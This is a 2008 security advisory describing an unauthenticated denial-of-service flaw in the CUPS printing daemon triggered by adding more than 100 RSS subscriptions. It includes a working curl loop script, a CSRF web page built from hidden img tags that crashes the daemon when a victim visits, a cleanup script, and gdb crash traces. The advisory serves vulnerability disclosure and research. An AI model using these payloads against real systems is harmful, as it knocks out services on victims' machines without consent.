APPLE CUPS DAEMON: UNAUTHENTICATED MEMORY CORRUPTION VULNERABILITY VIA RSS SUBSCRIPTIONS

DESCRIPTION:

The CUPS daemon (/usr/sbin/cupsd) which listens by default on port 631/tcp, crashes when more than 100 RSS Subscriptions are added. No authentication is required to perform such action. The caveat is that by default - at least on Ubuntu and openSuse - the daemon only accepts connections from localhost as specified by the default configuration settings (/etc/cups/cupsd.conf). However, the attack can be of remote nature by tricking the victim user to visit a specially-crafted page. Such page would forge the 'add rss subscription' request 101 times which causes the CUPS daemon to crash.

The CUPS daemon runs by default on Ubuntu, openSuse and probably other GNU/Linux distributions. Additionally, this vulnerability can be replicated against CUPS daemons using default settings. Since no authentication is required to add new RSS subscriptions, the CUPS administrator does not need to be logged in during exploitation.

It is not known whether the crash can lead to command execution, further debugging/investigation is required. However, the daemon runs as root on both Ubuntu and openSuse (and probably other distributions), which means that given that command execution is possible, this bug would lead to a full compromise of the targeted system.


TESTED ON:

Ubuntu 8.04.1 (fully patched as of 19th Oct 2008)
Linux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686 GNU/Linux

openSUSE 11.0 (i586)
Linux 2.6.25.5-1.1-default #1 SMP 2008-06-07 01:55:22 +0200 i686 i686 i386 GNU/Linux

Common UNIX Printing System 1.3.7
Remote DoS PoC tested on Mozilla Firefox 3

Other Linux distributions are also suspected to be vulnerable but have NOT been tested.



PROOF OF CONCEPT

Script to DoS the daemon locally:

#!/bin/bash
# cups_dos.sh
# note: curl is required for this script to work. on Ubuntu you can:
# $ sudo apt-get install curl

URL="http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20";

for((i=1;i<=101;i++))
do
    if ! curl -s --url $URL | grep 'CUPS'>/dev/null
    then
        echo "no response. daemon crashed?";
        exit;   
    else
        echo "rss subscription added: #$i";   
    fi
done



Specially-crafted page to DoS the daemon remotely:

<!-- cat cups_dos_poc.html  -->
<script>
// make 101 CSRFed requests to CUPS daemon via 'img' tags
for(var i=1;i<=101;++i) {
    document.write("<img width=0 height=0 " +
        "src=\"http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST_" +
        i + "&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20\">");
}
</script>





The following script can be useful automating the process of deleting all the added RSS subscriptions (can be useful when the crash needs to be replicated multiple times):

#!/bin/bash
# cups_del_subs.sh
 
if [[ $# -ne 2 ]]
then
        echo "usage: $0 <start-ID> <end-ID>";
        exit
fi

echo -en "deleting RSS subscription ID: ";
for((i=$1;i<=$2;++i))
do
    echo -en "$i ";
    curl -s --URL "http://localhost:631/admin/?op=cancel-subscription&notify_subscription_id=$i" \
    >/dev/null;
done
echo -en "\n";

  

DEBUG INFORMATION

When debug mode is on ('LogLevel debug' in '/etc/cups/cupsd.conf'), the logs (/var/log/cups/error_log) show the following information 101 times before the process crashes. Thus suggesting the cupsdAddSubscription() function is called before the crash occurs:

D [17/Oct/2008:12:30:26 +0100] cupsdAddSubscription(mask=0, dest=(nil)(), job=(nil)(0), uri="(null)")


sudo gdb /usr/sbin/cupsd
(gdb) set args -f
(gdb) run

[New Thread 0xb7a5b6d0 (LWP 22164)]
(no debugging symbols found)

[snip]

[PoC is run]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7a5b6d0 (LWP 22164)]
0x0807185f in ?? ()

(gdb) where
#0  0x080717a7 in ?? ()
#1  0x0807dbc7 in ?? ()
#2  0x08059dda in cupsdReadClient ()
#3  0x08090821 in ?? ()
#4  0x0806acb0 in ?? ()
#5  0xb7c60450 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
#6  0x0804fa41 in ?? ()


TODO

compile cupsd with symbols enabled for verbose debug information to aid
track problem in source code

./configure --enable-debug

$ sudo gdb ./scheduler/cupsd

(gdb) set args -f
(gdb) run
Starting program: /home/ap/Desktop/CUPS_DoS/source/cups-1.3.7/scheduler/cupsd -f
[Thread debugging using libthread_db enabled]
[New Thread 0xb7a106d0 (LWP 26139)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7a106d0 (LWP 26139)]
0x0806eda2 in cupsdProcessIPPRequest (con=0x80be278) at ipp.c:5430
5430          cupsdLogMessage(CUPSD_LOG_DEBUG, "Added subscription %d for server",
(gdb) where
#0  0x0806eda2 in cupsdProcessIPPRequest (con=0x80be278) at ipp.c:5430
#1  0x080577b0 in cupsdReadClient (con=0x80be278) at client.c:2126
#2  0x0807c74e in cupsdDoSelect (timeout=1) at select.c:537
#3  0x0806121c in main (argc=2, argv=0xbf9b8a74) at main.c:780


more gdb useful commands:

(gdb) generate-core-file
(gdb) detach

$ cat -n ./scheduler/ipp.c | grep 5430
  5430          cupsdLogMessage(CUPSD_LOG_DEBUG, "Added subscription %d for server",


CREDITS

Adrian 'pagvac' Pastor | GNUCITIZEN | www.gnucitizen.org